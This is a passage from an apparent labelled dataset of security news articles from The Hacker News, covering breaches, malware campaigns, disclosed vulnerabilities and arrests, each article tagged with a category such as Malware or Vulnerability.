According to Balint Seeber, director of threat research at Bastille, since the radio protocol used to control affected sirens is not using any kind of encryption, attackers can simply exploit this weakness to activate sirens by sending a malicious activation message.

""All that is required is a $30 handheld radio and a computer,"" Seeber claims.
To perform the SirenJack attack, a hacker needs to be in the radio range and identify the radio frequency used by the targeted siren in order to send a specially crafted message.
""Once the frequency was found, analysis of the radio protocol quickly showed that commands were not encrypted and therefore vulnerable to forgery, rendering the system susceptible to malicious activations,"" Seeber explains.
Researcher finds that Outdoor Public Warning System implemented within the City of San Francisco, designed to alert residents and visitors of about possible danger, has more than 100 warning sirens that malicious hackers can exploit to cause widespread panic and annoyance across the city.

Seeber responsibly disclosed this issue to ATI Systems 90 days ago (on January 8). ATI Systems says the patch is being tested and will shortly be made available to fix its systems implemented in the City of San Francisco.

However, ATI Systems noted that installing the patch is not easy since many of its products are designed depending upon specific needs of each of its customers.
Therefore, customers are advised to contact ATI Systems to determine if they have a vulnerable configuration and/or flawed version of the system, and then take the appropriate steps suggested to remediate the issue.

Bastille researchers also encourage other siren manufacturers to ""investigate their own systems to patch and fix this type of vulnerability,"" in case they find it.

",Cyber_Attack
Extortion Gang Breaches Cybersecurity Firm Qualys Using Accellion Exploit,https://thehackernews.com/2021/03/extortion-gang-breaches-cybersecurity.html,"Enterprise cloud security firm Qualys has become the latest victim to join a long list of entities to have suffered a data breach after zero-day vulnerabilities in its Accellion File Transfer Appliance (FTA) server were exploited to steal sensitive business documents.
As proof of access to the data, the cybercriminals behind the recent hacks targeting Accellion FTA servers have shared screenshots of files belonging to the company's customers on a publicly accessible data leak website operated by the CLOP ransomware gang.
Confirming the incident, Qualys Chief Information Security Officer Ben Carr said a detailed probe ""identified unauthorized access to files hosted on the Accellion FTA server"" located in a DMZ (aka demilitarized zone) environment that's segregated from the rest of the internal network.
""Based on this investigation, we immediately notified the limited number of customers impacted by this unauthorized access,"" Carr added. ""The investigation confirmed that the unauthorized access was limited to the FTA server and did not impact any services provided or access to customer data hosted by the Qualys Cloud Platform.""
Last month, FireEye's Mandiant threat intelligence team disclosed details of four zero-day flaws in the FTA application that were exploited by threat actors to mount a wide-ranging data theft and extortion campaign, which involved deploying a web shell called DEWMODE on target networks to exfiltrate sensitive data, followed by sending extortion emails to threaten victims into paying bitcoin ransoms, failing which the stolen data was posted on the data leak site.
While two of the flaws (CVE-2021-27101 and CVE-2021-27104) were addressed by Accellion on December 20, 2020, the other two vulnerabilities (CVE-2021-27102 and CVE-2021-27103) were identified earlier this year and fixed on January 25.
Qualys said it received an ""integrity alert"" suggesting a possible compromise on December 24, two days after it applied the initial hotfix on December 22. The company didn't say if it received extortion messages in the wake of the breach, but said an investigation into the incident is ongoing.
""The exploited vulnerabilities were of critical severity because they were subject to exploitation via unauthenticated remote code execution,"" Mandiant said in a security assessment of the FTA software published earlier this week.
Additionally, Mandiant's source code analysis uncovered two more previously unknown security flaws in the FTA software, both of which have been rectified in a patch (version 9.12.444) released on March 1 —
CVE-2021-27730: An argument injection vulnerability (CVSS score 6.6) accessible only to authenticated users with administrative privileges, and
CVE-2021-27731: A stored cross-site scripting flaw (CVSS score 8.1) accessible only to regular authenticated users
The FireEye-owned subsidiary is tracking the exploitation activity and the follow-on extortion scheme under two separate threat clusters it calls UNC2546 and UNC2582, respectively, with overlaps identified between the two groups and previous attacks carried out by a financially motivated threat actor dubbed FIN11. But it is still unclear what connection, if any, the two clusters may have with the operators of Clop ransomware.

",Malware
Unpatched vCard Flaw Could Let Attackers Hack Your Windows PCs,https://thehackernews.com/2019/01/vcard-windows-hacking.html,"A zero-day vulnerability has been discovered and reported in the Microsoft's Windows operating system that, under a certain scenario, could allow a remote attacker to execute arbitrary code on Windows machine.

Discovered by security researcher John Page (@hyp3rlinx), the vulnerability was reported to the Microsoft security team through Trend Micro's Zero Day Initiative (ZDI) Program over 6 months ago, which the tech giant has refused to patch, at least for now.

The vulnerability, which has not been assigned any CVE number, actually resides within the processing of a vCard file—a standard file format for storing contact information for a person or business, which is also supported by Microsoft Outlook.

According to the researcher, a remote attacker can maliciously craft a VCard file in a way that the contact's website URL stored within the file points to a local executable file, which can be sent within a zipped file via an email or delivered separately via drive-by-download techniques.
As shown in the video demonstration, if a victim clicks that website URL, the Windows operating system would run the malicious executable without displaying any warning, instead of opening the web address on the browser.

""Crafted data in a VCard file can cause Windows to display a dangerous hyperlink,"" the researcher writes in an advisory. ""The user interface fails to provide any indication of the hazard. An attacker can leverage this vulnerability to execute code in the context of the current user.""

Obviously, ""user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.""

Although the attack requires user's interaction, leaving the vulnerability unpatched would leave an opportunity for sophisticated attackers to target Windows users at large.

The researcher has also published proof-of-concept exploit code for the vulnerability, which has been assigned a CVSS 3.0 score of 7.8.

",Vulnerability
Malicious Chrome Extension Hijacks CryptoCurrencies and Wallets,https://thehackernews.com/2014/04/malicious-chrome-extension-hijacks.html,"Although the number of malicious browser extensions has significantly increased in the past years, but recently a new extension of the Google Chrome is allegedly targeting Cryptocurrency users that is capable of stealing Bitcoins and other crypto coins silently.

The malicious Chrome browser extension dubbed as 'Cryptsy Dogecoin (DOGE) Live Ticker' which is available on Chrome Web store for free downloads and developed by ""TheTrollBox"" account. Reddit user noticed that the updated version of the extension has a malicious code, which is designed to hijack the crypto currency transactions.

HOW CHROME EXTENSION STEALS CRYPTOCURRENCY
It is very obvious that the kind of crypto related software extensions is downloaded only by the users who deal with the digital currency. So, once the user installed the malicious extension, the software within the extension starts monitoring users' web activity and looks for those users who go to Cryptocurrency exchange sites such as Coinbase and MintPal.

After realizing that the user is performing a transaction in digital coins, the malicious extension replaces the receiving address, where the user is trying to transfer his Cryptocurrency, with the a different BTC address of its own (attacker's bitcoin address)

The same happened to a Reddit user, who had been reported this activity from the Cryptocurrency exchange MintPal in a withdrawal confirmation. After then he posted a Warning about the rogue extension on Reddit, advising all to ""Be careful of what you install on your devices you use to access your wallets.""

OTHER CHROME EXTENSIONS FROM SAME DEVELOPER
TheTrollBox, the developer of malicious 'Cryptsy Dogecoin (DOGE) Live Ticker' Chrome extension has also developed 21 more similar extensions, which are currently available on Google Chrome Store. These Chrome extensions also could be susceptible to have malicious code, and Google has not taken any action against the reported chrome extensions.

If you have installed any of the followings extensions, then you should remove them as soon as possible:
Cryptsy MOON
BTER NXT
DGEX NXT
Cryptsy DOGE
Cryptsy LOT
Coinbase BTC
MTGox BTC
BTC-E BTC
BTC-E LTC
BTC-E PPC
BTC-E NVC
BTC-E NMC
BTC-E FTC
BTC-E XPM
Bitstamp BTC
BTCChina BTC
OKCoin BTC
OKCoin LTC
FXBTC BTC
FXBTC LTC
BitcoinAverage BTC
MALWARE vs DIGITAL COINS
As the business has moved to greater use of mobile and non-Windows computers, so cyber criminals have adapted techniques monetize their efforts. Due to an increase in the value of digital coins, cyber criminals has added it in their watchlist and making every effort to steal your virtual money.

We have seen Android malware distributed by cyber criminals on Google play store that have hidden Coinkrypt malware, which had capability to turn your mobile device into crypto-currency miners, also cybercriminals spreading malware through Home appliances in order to mine virtual currencies, and now they are started editing software extensions with malicious codes to grab users digital coins.

PROTECT YOUR WALLETS
Users are advised to choose a Crypto currency exchange or wallet service that enables two-factor authentication for the high level of security of their virtual wallets, as two-factor authentication required more than one device, which will eventually decrease the chances of malicious malware modifying changes to your transactions.

",Malware
"Hack Leads to Extortions and Suicides! Ashley Madison puts $500,000 Bounty on Hackers' Head",https://thehackernews.com/2015/08/ashley-madison-hack_24.html,"It's been a rough week for cheating website Ashley Madison, whose slogan is ""Life is short, have an affair.""

Last week, the Impact Team, who claimed to hack Ashley Madison, posted 10GB of personal data for tens of Millions of its customers, including their names and email addresses.

The hackers made things even worse by releasing another 20GB of company's internal data, including personal emails from the CEO of Ashley Madison parent company Avid Life, Noel Biderman, along with the source code for Ashley Madison's website and mobile apps.

However, regardless of how you respond to the Ashley Madison hack, the bottom line is that what the hackers, who called themselves The Impact Team, did was highly illegal.

Not just illegal, but now the Ashley Madison hack has become a reason for suicides, blackmail and multiple cases of extortion.
""Two unconfirmed reports of suicides due to #AshleyMadisonHack, says Acting Staff Superintendent Bryce Evans at Aug 24 press conference,"" Toronto Police (@TorontoPolice) tweeted.
Ashley Madison offering $500,000 Reward

These are precisely the reasons why Ashley Madison, the popular extramarital affair website, is offering a CA$500,000 (About $379,000 USD) reward to anyone with information that leads to the arrest of the hackers responsible for the embarrassing leak of users' data.

The bounty offer was announced by Toronto police's acting staff Superintendent Bryce Evans at the televised and Webcast news press conference in Toronto Monday morning.

While announcing the reward, Evans noted that The Impact Team's actions ""have a long-term social and economic impact"" and appealed to the public and white-hat hacker community to help authorities in tracking down the Impact Team.

Evans also issued the following statement to warn the Impact Team:
""Team Impact. I want to make it very clear to you. Your actions are illegal, and won't be tolerated. This is your wake-up call.""
Moreover, Evans noted if any of the Ashley Madison customers is being extorted by the hackers should immediately contact their local police department.

You can watch the full press conference video here.

",Data_Breaches
Critical Flaw in Grammarly Spell Checker Could Let Attackers Steal Your Data,https://thehackernews.com/2018/02/grammar-checking-software.html,"A critical vulnerability discovered in the Chrome and Firefox browser extension of the grammar-checking software Grammarly inadvertently left all 22 million users' accounts, including their personal documents and records, vulnerable to remote hackers.

According to Google Project Zero researcher Tavis Ormandy, who discovered the vulnerability on February 2, the Chrome and Firefox extension of Grammarly exposed authentication tokens to all websites that could be grabbed by remote attackers with just 4 lines of JavaScript code.

In other words, any website a Grammarly user visits could steal his/her authentication tokens, which is enough to login into the user's account and access every ""documents, history, logs, and all other data"" without permission.
""I'm calling this a high severity bug, because it seems like a pretty severe violation of user expectations,"" Ormandy said in a vulnerability report. ""Users would not expect that visiting a website gives it permission to access documents or data they've typed into other websites.""
Ormandy has also provided a proof-of-concept (PoC) exploit, which explains how one can easily trigger this serious bug to steal Grammarly user's access token with just four lines of code.
This high-severity flaw was discovered on Friday and fixed early Monday morning by the Grammarly team, which, according to the researcher, is ""a really impressive response time"" for addressing such bugs.

Security updates are now available for both Chrome and Firefox browser extensions, which should get automatically updated without requiring any action by Grammarly users.

A Grammarly spokesperson also told in an email that the company has no evidence of users being compromised by this vulnerability.
""Grammarly resolved a security bug reported by Google's Project Zero security researcher, Tavis Ormandy, within hours of its discovery. At this time, Grammarly has no evidence that any user information was compromised by this issue,"" the spokesperson said.
""We're continuing to monitor actively for any unusual activity. The security issue potentially affected text saved in the Grammarly Editor. This bug did not affect the Grammarly Keyboard, the Grammarly Microsoft Office add-in, or any text typed on websites while using the Grammarly browser extension. The bug is fixed, and there is no action required by Grammarly users.""
Stay tuned for more updates.

",Vulnerability
Windows zero day vulnerability publicly exposed by Google engineer,https://thehackernews.com/2013/05/windows-zero-day-vulnerability-publicly.html,"A Google security engineer has not only discovered a Windows zero-day flaw, but has also stated that Microsoft has a knack of treating outside researchers with great hostility.

Tavis Ormandy, a Google security engineer, exposed the flaw on Full Disclosure, that could be used to crash PCs or gain additional access rights. The issue is less critical than other flaws as it's not a remotely exploitable one.

Ormandy said on Full Disclosure, ""I don't have much free time to work on silly Microsoft code, so I'm looking for ideas on how to fix the final obstacle for exploitation."".

He's been working on it for months, and according to a later post, he has now a working exploit that ""grants SYSTEM on all currently supported versions of Windows.""
""I have a working exploit that grants SYSTEM on all currently supported versions of Windows. Code is available on request to students from reputable schools,"" Ormandy adds.

Microsoft acknowledged the vulnerability late Tuesday. ""We are aware of claims regarding a potential issue affecting Microsoft Windows and are investigating""

Ormandy also insulted Microsoft on Full Disclosure, saying ""As far as I can tell, this code is pre-NT (20+ years) old, so remember to thank the SDL for solving security and reminding us that old code doesn't need to be reviewed ;-).""

Security company Secunia has also picked up on the flaw, saying it could be used in a privilege escalation attack, or a denial of service hit. ""The vulnerability is confirmed on a fully patched Windows 7 x86 Professional (win32k.sys version 6.1.7601.18126) and reported on Windows 8. Other versions may also be affected.""

Ormandy had first published information about the vulnerability in March to GitHub in an effort to solicit help or entice other researchers to investigate.

",Vulnerability
'Black Friday' and 'Cyber Monday' — 4 Scams To Watch Out For While Shopping,https://thehackernews.com/2014/11/black-friday-and-cyber-monday-4-scams_26.html,"Holiday Shopping season is really an excited time for both shoppers and retailers, but unfortunately it's a good time for cyber criminals and scammers as well.

With Black Friday (28th November 2014) and Cyber Monday (1st December 2014) coming up, you need to be more careful while shopping. These are the two very busy shopping days where shoppers spend millions online.

Every eye will be on retailers to ensure that consumers' online shopping experiences are straightforward and, most importantly, secure. So, at the major part, retailers need to pay attention to extra security measures in order to prevent themselves from massive data breaches, like Target data breach that occurred last year during the Black Friday sales in which over 40 million Credit & Debit cards were stolen.

Not just Target alone, multiple retailers including Neiman Marcus, Michaels Store were also targeted during last Christmas holiday, involving the heist of possibly 110 million Credit-Debit cards, and personal information.

So, in an effort to secure yourself from scammers you need to be aware of some top scams and tips to keep yourself safe online.

1. COPYCAT & FAKE WEBSITES
In order to fraud an online account holder's financial information, scammers could pose their website as a legitimate one. Like you got an email from Amazan.com for the hottest deals, and not Amazon, make sure before providing your financial details.

Check properly thrice who emails are from and if it's an unknown, best way is to avoid the email and the so-called hottest deal. Always go for a website using an HTTPS URL, before entering a password or any information like address or credit card number.

There are thousands of websites that closely resemble legitimate domains like Amazon, Google, Apple, Facebook and Microsoft. Apart from these, there are so many new sites offering online shopping, that it's quite difficult for customers to say which one is legitimate and which is not.

Many of these websites host exciting contests or advertisements for dodgy services to gain your attention and force your finger to click it, while others host malware that can infect your system when you browse to these websites.

So, to be in safer side, always shop from websites which you or your friends know. Just keep one thing in mind while shopping online that Website ratings and security seals can be faked and the website could look too good to be true, but probably it's not.

2. PHISHING WEBSITES
Phishing scams are typically fraudulent email messages, masquerading as a well known and trustworthy entity in an attempt to gather personal and financial information from victims. However, phishing attacks have become more sophisticated recently.

Keep an eye on scams emails claiming to come from legitimate sources which will ask you to visit a website actually hosted by cyber crooks in order to steal your personal information like email addresses, passwords, credit card numbers, expiration date, verification code, and more.

Always type website name in Google Search Engine and then visit the particular website from those search results, instead visiting through any link provided in messages or emails. Don't go to websites you've never heard of.

3. UNEXPECTED GIFTS SCAM
A year ago during Black Friday, one of the major scams was the cyber criminals offering $1,000 Best Buy gift cards, which nobody won. But, a lot of people ended up in giving away their personal information for no reason at all.

Online users are recommended to avoid such ""unexpected gifts"" scams, just like your dear ones recommend you to not accept unexpected gifts from strangers. Emails could be a major medium to offer you unwanted gifts, so be careful when opening attachments you receive by email - that special delivery could end up costing you.

4. FAKE ADS AND COUPONS
Customers on holiday season are always on search for great deals, especially on Black Friday and Cyber Monday, but your just a small mistake can lead you to danger. Miscreants use your desires by creating 'click-bait' ads or posting links to 'the best deal ever', which will always lead to either a survey, a scam site or even drive-by exploits.

Customers are advised to treat such offers with skepticism, especially when the source is unknown and unfamiliar to you. You are also advised to keep an updated Antivirus software onto their systems, so if any convincing advert does trick you and gain your click, your AV protects you against infection.

In addition to fake ads for Best Buy, users also want to look out for fake online coupons in general. If it sounds too good to be true, visit directly to reputable websites, and, by some miracle, the offer is true because it's Black Friday sales, it's all yours.

",Data_Breaches
British Hacker Admits Using Mirai Botnet to DDoS Deutsche Telekom,https://thehackernews.com/2017/07/mirai-botnet-ddos.html,"An unnamed 29-year-old man, named by authorities as ""Daniel K.,"" pleaded guilty in a German court on Friday to charges related to the hijacking of more than one Million Deutsche Telekom routers.

According to reports in the German press, the British man, who was using online monikers ""Peter Parker"" and ""Spiderman,"" linked to domains used to launch cyber attacks powered by the notorious Mirai malware has been pleaded guilty to ""attempted computer sabotage.""

The suspect was arrested on 22nd February this year at Luton airport in London by Britain's National Crime Agency (NCA) at the request of the Federal Criminal Police Office of Germany, aka the Bundeskriminalamt (BKA).

The hacker, also known as 'BestBuy,' admitted to the court on Friday that he was behind the cyber attack that knocked more than 1.25 Million customers of German telecommunications provider Deutsche Telekom offline last November.

According to the German authorities, the attack was especially severe and was carried out to compromise the home routers to enrol them in a network of hijacked devices popularly called Botnet, which is being offered for sale on dark web markets for launching DDoS attacks.

Late last year, Deutsche Telekom's routers became infected with a modified version of the Mirai malware – infamous IoT malware which scans for insecure routers, cameras, DVRs, and other IoT devices and enslaves them into a botnet network – causing over a million pounds' worth of damage, the company said at the time.

Mirai is the same botnet that knocked the entire Internet offline last year by launching massive distributed denial of Service (DDoS) attacks against the Dyn DNS provider, crippling some of the world's biggest and most popular websites, including Twitter, Netflix, Amazon, Slack, and Spotify.

Mirai leveraged attack experienced sudden rise after a cyber criminal in October 2016 publicly released the source code of Mirai, which is then used to by many cyber criminals to launch DDoS attacks.

The hacker reportedly told the court that a Liberian internet service provider (ISP) paid him $10,000 to carry out the attack against its competitors., and that Deutsche Telekom was not the main target of his attack.

At the time of his arrest, the suspect faced up to 10 years in prison. He's due to be sentenced on July 28.

The BKA got involved in the investigation as the attack on Deutsche Telekom was deemed to be a threat to the nation's communication infrastructure.

The investigation involved close cooperation between British, German and Cypriot law enforcement agencies, backed by the European Union's law enforcement intelligence agency, Europol, and Eurojust.

",Cyber_Attack
Yikes! Three armed men tried to rob a Bitcoin Exchange in Canada,https://thehackernews.com/2018/01/cryptocurrency-exchange-robbery.html,"As many non-tech savvy people think that Bitcoin looks like a Gold coin as illustrated in many stock images, perhaps these robbers also planned to rob a cryptocurrency exchange thinking that way.

All jokes apart, we saw one such attempt on Tuesday morning, when three men armed with handguns entered the offices of a Canadian Bitcoin exchange in Ottawa, and restrained four of its employees.

The intruders then struck one of the employees in the head with a handgun, asking them to make an outbound transaction from the cryptocurrency exchange.

A fifth employee in another cabin, who remained unseen in an office, called the police before any assets could be taken, and the robbers left empty-handed.

One of the suspects arrested later Wednesday after arriving police officers saw him run into a ravine north of Colonnade Road and deployed ""extensive resources,"" including K-9 unit officers, to find him, CBC News reports.
""Police are looking for two additional suspects, both described as black males,"" the police says. ""Investigators are also interested in identifying and speaking to a person of interest that was inside the premise as the suspects arrived. That person did not remain at the scene.""
The suspect in custody, identified as 19-year-old Jimmy St-Hilaire, has been charged with the following offences:
5 counts of robbery with a firearm
5 counts of point a firearm
5 counts of forcible confinement
Wear disguise
Conspiracy to Commit an indictable offence
Carry concealed weapon
Possess firearm while prohibited
Possess weapon for committing an offence
Possess loaded regulated firearm
St-Hilaire is set to appear in court on January 24, 2018. Ottawa police are now looking for the remaining two suspects.

The authorities have not revealed the name of the cryptocurrency exchange.

A similar incident happened last month when armed robbers kidnapped a top executive at UK-registered crypto-exchange EXMO Finance and allegedly stole more than $1.8 million of Ether for releasing him.

The New York District Attorney's Office charged New Jersey native Louis Meza for the kidnapping and robbery, claiming Meza held ""demanded that the victim turns over his cell phone, wallet, and keys while holding the victim at gunpoint.""

",Cyber_Attack
"Staysure Hacked, Credit Card details of 93,000 Customers stolen",https://thehackernews.com/2014/01/Staysure-hacked-credit-card-data-breach.html,"Staysure, a UK based Insurance company has suffered a massive data breach. More than 93,000 customers' sensitive financial data may have been compromised by unknown hackers.
We became aware of the problem on November 14, and quickly informed the relevant card issuing bodies and subsequently The Financial Conduct Authority, the Information Commissioner's Office and the Police.
The company notified that their systems have suffered cyber attack during the second half of October 2013 and Customers' Data including names, addresses, payment card details and CVV numbers has stolen.
In that attack, encrypted payment card details of customers who purchased insurance from us before May 2012 were stolen, along with CVV details and customer names and addresses. From May 2012 we ceased to store this data.
Credit card details were encrypted, but the CVV number was in the clear text, which is not good. Now this is not confirmed that their encryption implementation was secure or not. However if the payment card number is encrypted, then a hacker couldn't get the encrypted card number back so they couldn't use the CVV number anyway.
We immediately removed the software and systems that the attackers exploited, and we are confident that we are taking the right steps to protect our customers in the future.
Now any affected customers are being given free access to an identity monitoring service. The company has hired an Independent forensic data experts to fully ascertain the problem.

",Data_Breaches
Carberp Banking Trojan Scam - 8 Arrested in Russia,https://thehackernews.com/2012/03/carberp-banking-trojan-scam-8-arrested.html,"Carberp Banking Trojan Scam - 8 Arrested in Russia

8 Men suspected of being involved in the Carberp phishing scam have been arrested in Russia. The men were arrested after a joint investigation by the Russian Ministry of Internal Affairs (MVD) and Federal Security Service (FSB).

According to the MVD, the investigation found that two brothers were the ringleaders of the gang, and developed a plan to steal money from the accounts of online banking customers. The eight suspects allegedly stole more than 60 million Rubles ($2 million) from 90 victims using the Carberp Trojan.

Russian security firm who assisted with the investigation, pegged the stolen loot at 130 million Rubles ($4.5 million). Police confiscated computers, bank cards, notary equipment, fake documentation, and more than 7 million Rubles ($240,000) in cash during the raid.

The gang used the Carberp and RDP-door Trojans to snare victims. Carberp is a well-known Trojan that was recently seen on Facebook as part of a scam where attackers notify Facebook users that their accounts are temporarily locked. All they had to do to get them back was provide their first and last names, email addresses, dates of birth, passwords, and a 20-euro Ukash voucher.

The suspects will be accused of creating, using and disseminating of harmful computer programs, theft and illegal access to computer information and, if convicted, could be jailed for up to 10 years.

In addition to bank fraud, the gang was also involved in distributed denial-of-service attacks, the security firm found.

",Malware
Malware Infects US Power Plants through USB Drives,https://thehackernews.com/2013/01/malware-infects-us-powers-through-usb.html,"The US Department of Homeland Security's Cyber Emergency Response Team has released a report, which stated that two American electrical power plants were compromised late last year and has identified a number of glaring electronic vulnerabilities.

Some unknown malware infected two power plants control systems using unprotected USB drives as an attack vector. The tainted USB drive came in contact with a handful of machines at the power generation facility and investigators found sophisticated malware on two engineering workstations critical to the operation of the control environment.

The report did not say if the computers did or did not have up-to-date antivirus software, but it did say that current software would have found the malware.

The other infection affected 10 computers in a turbine control system. It was also spread by a USB drive and resulted in downtime for the impacted systems and delayed the plant restart by approximately three weeks.

ICS-CERT recommended that the power facility adopt new USB use guidelines, including the cleaning of a USB device before each use.

",Malware
Email Phishers Using A Simple Way to Bypass MS Office 365 Protection,https://thehackernews.com/2018/06/email-phishing-protection.html,"Security researchers have been warning about a simple technique that cyber criminals and email scammers are using in the wild to bypass most AI-powered phishing detection mechanisms implemented by widely used email services and web security scanners.

Dubbed ZeroFont, the technique involves inserting hidden words with a font size of zero within the actual content of a phishing email, keeping its visual appearance same, but at the same time, making it non-malicious in the eyes of email security scanners.

According to cloud security company Avanan, Microsoft Office 365 also fails to detect such emails as malicious crafted using ZeroFont technique.
Like Microsoft Office 365, many emails and web security services use natural language processing and other artificial intelligence-based machine learning techniques to identify malicious or phishing emails faster.

The technology helps security companies to analyze, understand and derive meaning from unstructured text embedded in an email or web page by identifying text-based indicators, like email scams mimicking a popular company, phrases used to request for payments or password resets, and more.
However, by adding random zero font-size characters between the indicator texts present in a phishing email, cybercriminals can transform these indicators into an unstructured garbage text, hiding them from the natural language processing engine.

Therefore, the email looks normal to a human eye, but Microsoft reads the entire garbage text, even if some words are displayed with a font size of ""0.""
""Microsoft can not identify this as a spoofing email because it cannot see the word 'Microsoft' in the un-emulated version,"" reads Avanan's blog post. ""Essentially, the ZeroFont attack makes it possible to display one message to the anti-phishing filters and another to the end user.""
Besides the ZeroFont technique, Avanan also detected hackers using other similar tricks that involve Punycode, Unicode, or Hexadecimal Escape Characters in their phishing attacks.

Last month, researchers from the same company reported that cybercriminals had been splitting up the malicious URL in a way that the Safe Links security feature in Office 365 fails to identify and replace the partial hyperlink, eventually redirecting victims to the phishing site.

",Cyber_Attack
Experts Uncover Malware Attacks Against Colombian Government and Companies,https://thehackernews.com/2021/01/experts-uncover-malware-attacks-against.html,"Cybersecurity researchers took the wraps off an ongoing surveillance campaign directed against Colombian government institutions and private companies in the energy and metallurgical industries.
In a report published by ESET on Tuesday, the Slovak internet security company said the attacks — dubbed ""Operation Spalax"" — began in 2020, with the modus operandi sharing some similarities to an APT group targeting the country since at least April 2018, but also different in other ways.
The overlaps come in the form of phishing emails, which have similar topics and pretend to come from some of the same entities that were used in a February 2019 operation disclosed by QiAnXin researchers, and subdomain names used for command-and-control (C2) servers.
However, the two campaigns diverge in the attachments used for phishing emails, the remote access trojans (RATs) deployed, and the C2 infrastructure employed to fetch the malware dropped.
The attack chain begins with the targets receiving phishing emails that lead to the download of malicious files, which are RAR archives hosted on OneDrive or MediaFire containing various droppers responsible for decrypting and running RATs such as Remcos, njRAT, and AsyncRAT on a victimized computer.
The phishing emails cover a wide range of topics, including those about driving infractions, attend court hearings, and take mandatory COVID-19 tests, thus increasing the likelihood that unsuspecting users will open the messages.
In an alternate scenario observed by ESET, the attackers were also found to use heavily obfuscated AutoIt droppers that used shellcode to decrypt the payload and another to inject it into an already running process.
The RATs not only come with capabilities for remote control but also to spy on targets by capturing keystrokes, recording screenshots, stealing clipboard data, exfiltrating sensitive documents, and even downloading and executing other malware.
ESET's analysis also revealed a scalable C2 architecture operated using a Dynamic DNS service that allowed them to dynamically assign a domain name to an IP address from a pool of 70 different domain names and 24 IP addresses in the second half of 2020 alone.
""Targeted malware attacks against Colombian entities have been scaled up since the campaigns that were described last year,"" the researchers concluded. ""The landscape has changed from a campaign that had a handful of C2 servers and domain names to a campaign with very large and fast-changing infrastructure with hundreds of domain names used since 2019.""

",Malware
Ubuntu-Maker Canonical's GitHub Account Gets Hacked,https://thehackernews.com/2019/07/canonical-ubuntu-github-hacked.html,"An unknown hacker yesterday successfully managed to hack into the official GitHub account of Canonical, the company behind the Ubuntu Linux project and created 11 new empty repositories.

It appears that the cyberattack was, fortunately, just a ""loud"" defacement attempt rather than a ""silent"" sophisticated supply-chain attack that could have been abused to distribute modified malicious versions of the open-source Canonical software.

In a statement, David from Canonical confirmed that attacker(s) used a Canonical owned GitHub account whose credentials were compromised to unauthorizedly access Canonical's Github account.

""We can confirm that on 2019-07-06 there was a Canonical owned account on GitHub whose credentials were compromised and used to create repositories and issues among other activities,"" David said.

""Canonical has removed the compromised account from the Canonical organization in GitHub and is still investigating the extent of the breach, but there is no indication at this point that any source code or PII was affected.""
David also confirmed that since the company now uses Launchpad hosting platform to build and maintain Ubuntu distributions, unauthorized changes on its Github account doesn't affect its popular and widely-used Linux operating system and its million of users.

""Furthermore, the Launchpad infrastructure where the Ubuntu distribution is built and maintained is disconnected from GitHub, and there is also no indication that it has been affected,"" David added.

""We plan to post a public update after our investigation, audit, and remediations are finished. Thank you, your trust in Canonical is important to us, which is why we take privacy and security a priority.""

The company is currently reviewing the source code available on GitHub to investigate the extent of the breach and have promised to share more details about the incident shortly.

Last year, GitHub account of Gentoo Linux distribution was also hacked using password-guessing attack, and attackers successfully managed to replace the content of its repositories and pages with malware.

Stay tuned for more information on this incident.
",Cyber_Attack
Android July 2019 Security Update Patches 33 New Vulnerabilities,https://thehackernews.com/2019/07/android-security-update.html,"Google has started rolling out this month's security updates for its mobile operating system platform to address a total of 33 new security vulnerabilities affecting Android devices, 9 of which have been rated critical in severity.

The vulnerabilities affect various Android components, including the Android operating system, framework, library, media framework, as well as Qualcomm components, including closed-source components.

Three of the critical vulnerabilities patched this month reside in Android's Media framework, the most severe of which could allow a remote attacker to execute arbitrary code on a targeted device, within the context of a privileged process, by convincing users into opening a specially crafted malicious file.

""The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed,"" the company says.

Out of the remaining seven critical vulnerabilities, one affects Android Library, one affects the System, two resides in Qualcomm components (one in DSP_Services and one in Kernel), and three resides in Qualcomm closed-source components.

Besides this, a high-severity flaw (CVE-2019-2104) in the Android Framework could allow an installed malicious app to bypass user interaction requirements in an attempt to gain access to additional permissions.

Six high-severity vulnerabilities addressed in Qualcomm components resides in WLAN Host (CVE-2019-2276, CVE-2019-2307), WLAN Driver (CVE-2019-2305), HLOS (CVE-2019-2278), and Audio (CVE-2019-2326, CVE-2019-2328).

According to the Android security advisory, none of the flaws addressed this month were publicly disclosed or found being exploited in the wild.

Apart from releasing patches for security vulnerabilities, the Android Security Patch for July 2019 also includes fixes for various issues in some of the supported version of Pixel devices.

Pixel smartphone users will get the July updates shortly, while others will have to wait for their Android device manufacturers or service providers to roll out the security patches for their devices.

Users are strongly recommended to download the most recent Android security updates as soon as they are available in order to keep their Android devices protected against any potential attack.


",Vulnerability
SwaggSec gained access to China Telecom and Warner Bros,https://thehackernews.com/2012/06/swaggsec-gained-access-to-china-telecom.html,"SwaggSec gained access to China Telecom and Warner Bros

A hacking group is claiming to have breached the networks of Warner Bros. and China Telecom, releasing documents and publishing login credentials. Swagg Security, or SwaggSec, the same hacker collective that breached Foxconn a few months ago to highlight the poor working conditions, has made its comeback.

The hacking group posted on their Twitter account (under the name Swagg Security) that they had acquired access to the databases of both sites, as well as posted a statement on Pastebin. The group has allegedly stolen documents and login credentials, which were then posted to Pirate Bay.

The torrent file posted by SwaggSec on The Pirate Bay doesn't contain only the administrator details from China Telecom, but also some other information taken from their databases. SwaggSec said the China Telecom data is 900 user names and passwords for administrators on the company's network. The information was obtained through an insecure SQL server, SwaggSec said in its post.

The group said it notified China Telecom of the hack by planting a message in the company's network. The SQL server was moved but not fixed.

It includes a recent report titled 'Content Security Status Update', which includes a list of the company's top 10 medium-to-high-risk vulnerabilities. The top two are cross-site scripting and unsupported SSL.

",Vulnerability
Cisco Takes Down Ransomware Operation Generating $30 Million in Revenue For Hackers,https://thehackernews.com/2015/10/ransomware-hacking.html,"This will blow the minds of every single cyber criminal group out there – Researchers have discovered a group of hackers that is making an estimated $30 Million a year from their online criminal operation.

Yes, $30 MILLLLLLION annually.

Researchers from cyber security firm Cisco announced that they discovered a large ransomware campaign connected to the Angler Exploit Kit, one of the most potent exploit kits available in the underground market for hacking into computers.

Researchers noticed that the large percentage of infected users were connecting to servers belonging to hosting provider Limestone Networks. After digging out more, they estimated that a single hacker or a group of hackers is targeting up to 90,000 end users a day.

Here are some estimates by Cisco researchers after investigating the operation:
Life of an Angler exploit server is one day
Around 3600 users are compromised per day by ransomware
3% of targets paid the average ransom demand of $300 to the hackers

As a result, the researchers estimated that this particular hacker or a group of hackers is generating an annual revenue of more than $34 Million.

